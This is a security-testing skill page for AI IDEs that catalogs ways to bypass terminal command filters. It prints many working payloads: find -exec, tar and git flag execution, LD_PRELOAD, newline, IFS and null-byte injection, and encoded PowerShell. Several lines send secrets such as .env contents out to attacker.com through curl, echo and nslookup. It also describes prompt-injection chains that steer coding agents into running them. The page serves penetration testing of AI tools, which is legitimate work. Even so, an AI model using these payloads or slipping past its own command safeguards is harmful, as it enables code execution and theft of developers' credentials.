From ai-ide-vuln-skills
Tests terminal command filtering and allowlist implementations in AI IDEs for bypass vulnerabilities. Use when assessing command execution controls, shell injection vectors, or allowlist/blocklist setups.
npx claudepluginhub mindgard/ai-ide-skills --plugin ai-ide-vuln-skillsThis skill uses the workspace's default tool permissions.
AI IDEs that provide terminal command execution typically implement filtering -- allowlists, blocklists, or LLM-based classification -- to prevent dangerous commands. These filters are often bypassable through shell parsing quirks, encoding tricks, and dangerous flags on safe commands. The gap between what the filter sees and what the shell executes is the vulnerability.
Tests prompt injection chains in AI IDEs for config modification and privilege escalation vulnerabilities. Use for assessing adversarial attacks, rules override, auto-loading, and file-write exploits.
Guides developers on security best practices for safe command execution, URL handling, credential management, supply chain safety, and avoiding reverse shells, command injection, malware.
Share bugs, ideas, or general feedback.
AI IDEs that provide terminal command execution typically implement filtering -- allowlists, blocklists, or LLM-based classification -- to prevent dangerous commands. These filters are often bypassable through shell parsing quirks, encoding tricks, and dangerous flags on safe commands. The gap between what the filter sees and what the shell executes is the vulnerability.
This skill catalogs bypass techniques and provides a systematic methodology for assessing command filtering implementations. Techniques are organized by interaction tier (highest severity first) and are shell-specific, so identifying the target shell is a prerequisite.
Before using this skill, the following must be confirmed (typically via ai-ide-recon):
Every bypass technique is labeled by the tier at which it is most impactful. Test in tier order -- Tier 1 findings are highest severity, Tier 3 findings are lowest.
| Tier | Trigger Model | Severity | Example |
|---|---|---|---|
| Tier 1 -- Zero-Interaction | Bypasses on commands auto-executed without any approval. Safe commands with dangerous flags, auto-approved allowlisted commands, initialization-time execution. | Critical | find -exec on an auto-approved find command |
| Tier 2 -- Agent-Mediated | Bypasses triggered via PI-driven commands where the user just sent a normal message. The user did not approve the specific command. | High | PI in a source file causes agent to run echo $(whoami) |
| Tier 3 -- Requires Approval | Bypasses on commands the user explicitly approved via a trust dialog. Only interesting if the displayed command differs from the executed command. | Low-Medium | Newline injection where approval shows ls but shell also runs whoami |
A command that runs after the user explicitly clicks "Allow" (or equivalent approval) on a clear prompt showing the exact command is not a terminal filter bypass vulnerability -- the approval gate worked as designed.
This is only a vulnerability if:
ls but a newline injection causes whoami to execute as well. The user approved something other than what ran.ls once and the IDE auto-approves all subsequent ls variants including ls%0awhoami.If the user sees the full command, including all flags and chained commands, and clicks "Allow," that is informed consent, not a bypass.
First, identify what you are bypassing:
| Mechanism | How It Works | Typical Weaknesses |
|---|---|---|
| String-match allowlist | Checks if command starts with allowed string | Newline injection, IFS, shell expansion |
| Regex-based allowlist | Pattern matches against allowed commands | Regex bypasses, encoding tricks |
| AST-based parsing | Parses command into AST, checks structure | Edge cases in parser, complex commands |
| Blocklist | Rejects known dangerous commands | Anything not on the list, aliasing |
| LLM-based classification | Uses LLM to judge if command is safe | Adversarial prompting, semantic confusion |
How to identify the mechanism: Try a clearly dangerous command (e.g., rm -rf /). The error message tells you the mechanism:
Commands that are typically allowlisted or auto-approved can execute arbitrary code via specific flags. This is the highest-priority bypass because these commands often pass through filters and approval gates without scrutiny -- the command name itself is trusted.
# find -exec (most common)
find . -name "*.txt" -exec whoami \;
find /tmp -exec /bin/sh -c 'id > /tmp/pwned' \;
# tar checkpoint action
tar cf /dev/null --checkpoint=1 --checkpoint-action=exec=whoami
# git with sshCommand
git -c core.sshCommand='whoami' fetch
# git external diff
git -c diff.external='whoami' diff
# zip/unzip with command execution
zip /tmp/test.zip . -T -TT 'whoami;'
# awk execution
awk 'BEGIN {system("whoami")}'
# xargs
echo whoami | xargs -I{} sh -c {}
Bypasses: Allowlists that approve command names without auditing flags. Particularly dangerous when the command is auto-approved (Tier 1) or when the approval UI shows only the command name, not the full argument list.
Tier 1 scenario: IDE auto-approves find, git, tar, awk as safe development commands. Attacker places a .cursorrules or PI-laden file that causes the agent to run find . -name "*.js" -exec curl attacker.com/shell.sh \; -- the filter sees find and lets it through.
Source: Amazon Q Developer RCE via find -exec
See ai-ide-code-exec skill for detailed methodology. Brief: LD_PRELOAD=/tmp/evil.so allowed_command may bypass filters that only check the command name after the =.
LD_PRELOAD=/tmp/evil.so allowed_command
Bypasses: Filters that parse the command by looking for the first token after any VAR=value prefix, or that ignore environment variable assignments entirely. When the allowed command is auto-approved, this is Tier 1.
Tier 1 scenario: An auto-approved command like npm test is prefixed with LD_PRELOAD pointing to attacker-controlled shared object in the workspace.
AI agents construct shell commands by concatenating user-controlled or AI-generated arguments without sanitization. The gap between what the agent intends and what the shell executes is the vulnerability. Test by influencing argument values via prompt injection.
# Agent intends: git clone <url>
# PI-influenced argument injects flags or shell metacharacters
git clone --upload-pack='whoami' https://example.com/repo.git
# Agent intends: curl <url>
# PI steers the URL argument to include shell expansion
curl $(cat .env | base64).attacker.com
# Agent intends: pip install <package>
# PI provides a malicious --index-url or local path
pip install --index-url http://attacker.com/simple package-name
Bypasses: Filters that validate the command name but do not inspect or sanitize individual arguments. Particularly dangerous when the agent constructs commands by string concatenation rather than using structured argument arrays.
Tier 1 scenario: An auto-approved command like git or npm is invoked with attacker-influenced arguments. The filter sees the allowed command name but does not audit flag values or URL arguments.
Tier 2 scenario: PI in a workspace file steers the agent to run a safe command with malicious arguments -- e.g., instructing the agent to "install dependencies from our private registry" where the registry URL is attacker-controlled.
If echo or another simple command is allowed or auto-approved, command substitution executes arbitrary commands:
echo $(whoami)
echo `whoami`
echo $(cat /etc/passwd)
Bypasses: Allowlists that approve echo without considering subshell expansion.
Tier 1 scenario: echo is auto-approved. PI causes the agent to run echo $(curl attacker.com/exfil?data=$(cat .env | base64)).
Tier 2 scenario: User asks the agent to debug output. PI in a source file steers the agent to run echo $(whoami) as a "diagnostic."
Insert newline characters between an allowed command and a malicious command. The filter sees only the first line; the shell executes both.
# URL-encoded newline
ls%0awhoami
# Literal newline (may need encoding depending on input method)
ls\nwhoami
# Null byte (may truncate at filter, not at shell)
ls%00whoami
# Carriage return
ls\rwhoami
# Tab (some parsers split on tabs)
ls\twhoami
# Combined CR+LF
ls\r\nwhoami
Bypasses: String-match allowlists that only check the first line. Most common and effective technique.
Tier 2 scenario: PI in workspace content causes the agent to construct a command with an embedded newline. The filter checks the first line (ls), approves it, but the shell executes both ls and whoami.
Tier 3 scenario (only a vulnerability if): The user sees an approval prompt showing ls but the newline-injected whoami is hidden or truncated in the UI. If the approval prompt shows the full multi-line command, this is not a bypass -- the user approved it.
Source: Exploiting a Parsing Flaw in Gemini CLI, Mistral Vibe CLI Shell Expansion
Use ${IFS} as a space replacement. Bypasses filters that split on spaces to extract command names.
cat${IFS}/etc/passwd
cat${IFS}${IFS}/etc/passwd
Bypasses: Filters that tokenize on literal spaces to identify the command.
Tier 2 scenario: PI causes agent to construct a command using ${IFS} instead of spaces, evading a filter that splits on whitespace to extract the command name.
%00 may truncate the string at the filter level but not at the shell level:
allowed_command%00malicious_command
Bypasses: Filters implemented in languages that treat null as string terminator (C-based).
Tier 2 scenario: PI causes the agent to emit a command containing a null byte. The filter (implemented in a C-based extension) sees only allowed_command, but the shell runtime (Node.js, Python) passes the full string.
When direct command execution is blocked but DNS resolution is allowed:
# Using nslookup (often allowed)
nslookup $(whoami).attacker.com
# Using dig
dig $(cat /etc/passwd | base64 | head -1).attacker.com
# Using host
host $(id).attacker.com
# Using curl to DNS-over-HTTPS
curl "https://dns.google/resolve?name=$(whoami).attacker.com"
Bypasses: Allowlists that permit network diagnostic commands without considering that subshell expansion within arguments enables data exfiltration.
Tier 2 scenario: PI causes the agent to "check DNS" using nslookup $(cat .env | base64).attacker.com. The filter sees nslookup (allowed), but the subshell exfiltrates secrets.
Source: Claude Code DNS exfil via allowlist bypass (CVE-2025-55284)
# Invoke-Expression
Invoke-Expression "whoami"
# Encoded command
powershell -EncodedCommand dwBoAG8AYQBtAGkA
# Pipeline injection
"whoami" | Invoke-Expression
# String concatenation
& ("wh" + "oami")
# Variable-based
$c = "whoami"; & $c
Bypasses: Allowlists that check cmdlet names without considering Invoke-Expression, encoded commands, or PowerShell's dynamic invocation. -EncodedCommand is particularly effective because the filter cannot inspect the encoded payload without decoding it.
Tier 2 scenario: PI causes the agent to run a PowerShell command using -EncodedCommand to hide the payload from the filter.
Tier 3 scenario (only a vulnerability if): The approval prompt shows powershell -EncodedCommand <base64> but the user cannot see the decoded command. The displayed command is technically accurate but practically opaque.
Source: PowerShell bypasses from Windsurf research
See references/bypass-payloads.md for the complete payload reference.
Verify all five preconditions are met. If the approval model is unclear, run a few benign commands to observe whether they auto-execute, require agent mediation, or prompt for approval.
Try a clearly dangerous command. Observe the response to classify the filter type (see table above).
What shell does the IDE use? This determines which bypass techniques apply.
| Shell | Key Bypass Techniques | Notes |
|---|---|---|
| bash/zsh | All techniques apply | Most research targets |
| PowerShell | EncodedCommand, Invoke-Expression, pipeline | Different escaping rules |
| cmd | &, |, ^ for escaping | Limited but exploitable |
| sh | Subset of bash techniques | POSIX-only, no bashisms |
If the filter is an allowlist, determine what is allowed. Try common commands systematically: ls, cat, echo, git, npm, python, pip, find, grep, curl, wget, node, tar, awk, xargs, nslookup, dig.
Apply techniques from the catalog in tier order:
Tier 1 (test first -- highest severity):
find -exec, git -c, tar --checkpoint-action)echo $(...))Tier 2 (test second -- strong reportability): 4. Newline injection via PI-driven commands 5. IFS manipulation via PI-driven commands 6. Null byte injection via PI-driven commands 7. DNS exfiltration via allowed network commands 8. PowerShell-specific bypasses via PI-driven commands 9. Shell expansion via PI-driven commands
Tier 3 (test last -- weak unless display differs from execution): 10. Newline injection where approval UI hides injected command 11. PowerShell encoded commands where approval UI shows opaque payload 12. Any bypass where the approval prompt is misleading
Once a bypass is found, can you achieve:
Can PI trigger the bypassed command? This chains with prompt-injection-chains and completes the attack: PI in workspace content --> bypassed terminal command --> code execution or data exfiltration.
nslookup).